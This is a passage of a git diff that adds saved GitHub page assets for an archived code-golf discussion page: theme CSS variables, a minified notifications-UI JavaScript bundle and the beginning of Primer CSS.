#0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}} + +/*# sourceMappingURL=light-4a4c63a331c1.css.map*/ \ No newline at end of file diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js new file mode 100644 index 0000000..4d11df4 --- /dev/null +++ b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var x=Object.defineProperty;var u=(_,L)=>x(_,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["notifications-global"],{7679:(_,L,g)=>{g.d(L,{H:()=>f,v:()=>y});var s=g(59753);function y(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!1)}u(y,"showGlobalError");function f(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!0)}u(f,"hideGlobalError"),(0,s.on)("deprecatedAjaxError","[data-remote]",function(l){const b=l.detail,{error:A,text:D}=b;l.currentTarget===l.target&&(A==="abort"||A==="canceled"||(/{g.d(L,{Bt:()=>b,DN:()=>w,KL:()=>p,Se:()=>D,qC:()=>k,sw:()=>I});var s=g(59753),y=g(2061),f=g(7679);(0,s.on)("click",".js-remote-submit-button",async function(a){const h=a.currentTarget.form;a.preventDefault();let v;try{v=await fetch(h.action,{method:h.method,body:new FormData(h),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}v&&!v.ok&&(0,f.v)()});function l(a,n,h){return a.dispatchEvent(new CustomEvent(n,{bubbles:!0,cancelable:h}))}u(l,"fire");function b(a,n){n&&(A(a,n),(0,y.j)(n)),l(a,"submit",!0)&&a.submit()}u(b,"requestSubmit");function A(a,n){if(!(a instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(n instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(n.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!a||a!==n.form)throw new Error("The specified element is not owned by the form element.")}u(A,"checkButtonValidity");function D(a,n){if(typeof n=="boolean")if(a instanceof HTMLInputElement)a.checked=n;else throw new TypeError("only checkboxes can be set to boolean value");else{if(a.type==="checkbox")throw new TypeError("checkbox can't be set to string value");a.value=n}l(a,"change",!1)}u(D,"changeValue");function w(a,n){for(const h in n){const v=n[h],C=a.elements.namedItem(h);(C instanceof HTMLInputElement||C instanceof HTMLTextAreaElement)&&(C.value=v)}}u(w,"fillFormValues");function I(a){if(!(a instanceof HTMLElement))return!1;const n=a.nodeName.toLowerCase(),h=(a.getAttribute("type")||"").toLowerCase();return n==="select"||n==="textarea"||n==="input"&&h!=="submit"&&h!=="reset"||a.isContentEditable}u(I,"isFormField");function c(a){return new URLSearchParams(a)}u(c,"searchParamsFromFormData");function p(a,n){const h=new URLSearchParams(a.search),v=c(n);for(const[C,T]of v)h.append(C,T);return h.toString()}u(p,"combineGetFormSearchParams");function k(a){return c(new FormData(a)).toString()}u(k,"serialize")},2061:(_,L,g)=>{g.d(L,{j:()=>s,u:()=>y});function s(f){const l=f.closest("form");if(!(l instanceof HTMLFormElement))return;let b=y(l);if(f.name){const A=f.matches("input[type=submit]")?"Submit":"",D=f.value||A;b||(b=document.createElement("input"),b.type="hidden",b.classList.add("is-submit-button-value"),l.prepend(b)),b.name=f.name,b.value=D}else b&&b.remove()}u(s,"persistSubmitButtonValue");function y(f){const l=f.querySelector("input.is-submit-button-value");return l instanceof HTMLInputElement?l:null}u(y,"findPersistedSubmitButtonValue")},55089:(_,L,g)=>{var s=g(90420),y=Object.defineProperty,f=Object.getOwnPropertyDescriptor,l=u((e,t,r,i)=>{for(var o=i>1?void 0:i?f(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&y(t,r,o),o},"__decorateClass");let b=u(class extends HTMLElement{constructor(){super();this.addEventListener("socket:message",this.update.bind(this))}update(e){const t=e.detail.data;!this.link||!this.modifier||(this.link.setAttribute("aria-label",t.aria_label),this.link.setAttribute("data-ga-click",t.ga_click),this.modifier.setAttribute("class",t.span_class))}},"NotificationIndicatorElement");l([s.fA],b.prototype,"link",2),l([s.fA],b.prototype,"modifier",2),b=l([s.Ih],b);var A=g(7679),D=g(56238),w=Object.defineProperty,I=Object.getOwnPropertyDescriptor,c=u((e,t,r,i)=>{for(var o=i>1?void 0:i?I(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&w(t,r,o),o},"notifications_list_subscription_form_element_decorateClass");let p=u(class extends HTMLElement{constructor(){super(...arguments);this.lastAppliedLabels={}}connectedCallback(){const e=this.querySelector(".js-label-subscriptions-load");e==null||e.addEventListener("loadend",()=>{this.subscriptionsLabels.length>0&&(this.updateCheckedState("custom"),this.updateMenuButtonCopy("custom"))})}async submitCustomForm(e){await this.submitForm(e),this.closeMenu()}async submitForm(e){e.preventDefault(),(0,A.H)();const t=e.currentTarget,r=new FormData(t),i=await self.fetch(t.action,{method:t.method,body:r,headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!i.ok){(0,A.v)();return}const o=await i.json(),d=r.get("do");typeof d=="string"&&this.updateCheckedState(d),typeof d=="string"&&this.updateMenuButtonCopy(d),this.updateSocialCount(o.count),this.applyInputsCheckedPropertiesToAttributesForNextFormReset()}updateMenuButtonCopy(e){this.unwatchButtonCopy.hidden=!(e==="subscribed"||e==="custom"),this.stopIgnoringButtonCopy.hidden=e!=="ignore",this.watchButtonCopy.hidden=!(e!=="subscribed"&&e!=="custom"&&e!=="ignore")}applyInputsCheckedPropertiesToAttributesForNextFormReset(){for(const e of[...this.threadTypeCheckboxes])e.toggleAttribute("checked",e.checked)}updateCheckedState(e){for(const t of this.subscriptionButtons)t.setAttribute("aria-checked",t.value===e?"true":"false");if(e==="custom")this.customButton.setAttribute("aria-checked","true");else{this.customButton.setAttribute("aria-checked","false");for(const t of[...this.threadTypeCheckboxes])(0,D.Se)(t,!1);if(this.subscriptionsContainer!==void 0){for(let t=0;t{var t;(t=this.customDialog.querySelector("input[type=checkbox][autofocus]"))==null||t.focus()},0)}enableApplyButtonAndCheckbox(){this.customDialog.querySelectorAll('[data-type="label"]:not([hidden])').length>0&&(this.customSubmit.removeAttribute("disabled"),this.threadTypeCheckboxes[0].checked=!0)}closeCustomDialog(e){e.preventDefault(),e.stopPropagation(),this.menu.toggleAttribute("hidden",!1),this.customDialog.toggleAttribute("hidden",!0),setTimeout(()=>{this.customButton.focus()},0)}resetFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation();for(let t=0;t{var t;(t=this.filterLabelsDialog.querySelector("input[type=checkbox][autofocus]"))==null||t.focus()},0)}closeFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation(),this.menu.toggleAttribute("hidden",!0),this.customDialog.toggleAttribute("hidden",!1),this.filterLabelsDialog.toggleAttribute("hidden",!0)}applyFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation(),this.saveCurrentLabelsState(),this.hideFilterSubtitle(),this.enableIssuesCheckbox(),this.closeFilterLabelsDialog(e)}enableIssuesCheckbox(){const e=Object.keys(this.lastAppliedLabels).length>0;e&&this.threadTypeCheckboxes.length>0&&(this.threadTypeCheckboxes[0].checked=e),this.threadTypeCheckboxesUpdated()}hideFilterSubtitle(){const e=Object.keys(this.lastAppliedLabels).length>0;this.subscriptionsSubtitle.toggleAttribute("hidden",e)}saveCurrentLabelsState(){this.lastAppliedLabels={},this.labelInputs.innerHTML="";for(let e=0;et.checked);this.customSubmit.disabled=e}closeMenu(){this.details.toggleAttribute("open",!1)}},"NotificationsListSubscriptionFormElement");c([s.fA],p.prototype,"details",2),c([s.fA],p.prototype,"menu",2),c([s.fA],p.prototype,"customButton",2),c([s.fA],p.prototype,"customDialog",2),c([s.fA],p.prototype,"filterLabelsDialog",2),c([s.GO],p.prototype,"subscriptionButtons",2),c([s.GO],p.prototype,"subscriptionsLabels",2),c([s.fA],p.prototype,"labelInputs",2),c([s.fA],p.prototype,"subscriptionsSubtitle",2),c([s.fA],p.prototype,"socialCount",2),c([s.fA],p.prototype,"unwatchButtonCopy",2),c([s.fA],p.prototype,"stopIgnoringButtonCopy",2),c([s.fA],p.prototype,"watchButtonCopy",2),c([s.GO],p.prototype,"threadTypeCheckboxes",2),c([s.fA],p.prototype,"customSubmit",2),c([s.fA],p.prototype,"subscriptionsContainer",2),c([s.GO],p.prototype,"dialogLabelItems",2),p=c([s.Ih],p);var k=Object.defineProperty,a=Object.getOwnPropertyDescriptor,n=u((e,t,r,i)=>{for(var o=i>1?void 0:i?a(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&k(t,r,o),o},"notifications_team_subscription_form_element_decorateClass");let h=u(class extends HTMLElement{closeMenu(){this.details.toggleAttribute("open",!1)}},"NotificationsTeamSubscriptionFormElement");n([s.fA],h.prototype,"details",2),h=n([s.Ih],h);var v=Object.defineProperty,C=Object.getOwnPropertyDescriptor,T=u((e,t,r,i)=>{for(var o=i>1?void 0:i?C(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&v(t,r,o),o},"notifications_subscriptions_dialog_label_item_decorateClass");let E=u(class extends HTMLElement{toggleDropdownLabel(e){if(e.preventDefault(),e.stopPropagation(),this.label){const t=this.label.getAttribute("aria-checked")==="true";this.setCheckedForDropdownLabel(!t),this.dispatchEvent(new CustomEvent("notifications-dialog-label-toggled",{detail:{wasChecked:t,toggledLabelId:this.labelId,templateLabelElementClone:this.hiddenLabelTemplate.cloneNode(!0)},bubbles:!0}))}}setCheckedForDropdownLabel(e){this.label.setAttribute("aria-checked",e.toString())}},"NotificationsDialogLabelItemElement");T([s.fA],E.prototype,"label",2),T([s.fA],E.prototype,"hiddenLabelTemplate",2),T([s.fA],E.prototype,"hiddenCheckboxInput",2),T([s.Lj],E.prototype,"labelId",2),E=T([s.Ih],E)}},_=>{var L=u(s=>_(_.s=s),"__webpack_exec__");_.O(0,["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51"],()=>L(55089));var g=_.O()}]);})(); + +//# sourceMappingURL=notifications-global-efb6b04b1517.js.map \ No newline at end of file diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css new file mode 100644 index 0000000..81c8b42 --- /dev/null +++ b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css @@ -0,0 +1,13 @@ +:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{color-scheme:light}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{color-scheme:light}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{color-scheme:light}}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{color-scheme:dark}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{color-scheme:dark}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{color-scheme:dark}}[data-color-mode]{color:var(--color-fg-default);background-color:var(--color-canvas-default)}@media(forced-colors: active){body{--color-accent-emphasis: Highlight;--color-fg-on-emphasis: LinkText}}/*! + * @primer/css/core + * http://primer.style/css + * + * Released under MIT license. Copyright (c) 2019 GitHub Inc. + */.ActionList{padding:8px}.ActionList--full{padding:0}.ActionList--subGroup{padding:0}.ActionList--divided .ActionList-item-label::before{position:absolute;top:-6px;display:block;width:100%;height:1px;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--divided .ActionList-item-descriptionWrap--inline::before{position:absolute;top:-6px;display:block;width:100%;height:1px;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--divided .ActionList-item-descriptionWrap--inline .ActionList-item-label::before{content:unset}.ActionList--divided .ActionList-item--navActive .ActionList-item-label::before,.ActionList--divided .ActionList-item--navActive+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:first-of-type .ActionList-item-label::before,.ActionList-sectionDivider+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:first-of-type .ActionList-item-descriptionWrap--inline::before,.ActionList-sectionDivider+.ActionList-item .ActionList-item-descriptionWrap--inline::before{visibility:hidden}.ActionList--tree{--ActionList-tree-depth: 1}.ActionList--tree .ActionList-item--subItem>.ActionList-content{font-size:14px}.ActionList--tree .ActionList-item.ActionList-item--singleton .ActionList-content{padding-left:32px}.ActionList--tree .ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-content[aria-expanded]+.ActionList--subGroup{position:relative}.ActionList--tree .ActionList-content[aria-expanded]+.ActionList--subGroup .ActionList-content{padding-left:calc(8px * var(--ActionList-tree-depth))}.ActionList--tree .ActionList-content[aria-expanded=true] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:rotate(0deg)}.ActionList--tree .ActionList-content[aria-expanded=true].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-content[aria-expanded=false] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:rotate(-90deg)}.ActionList--tree .ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-item--hasSubItem .ActionList-item--subItem:not(.ActionList-item--hasSubItem) 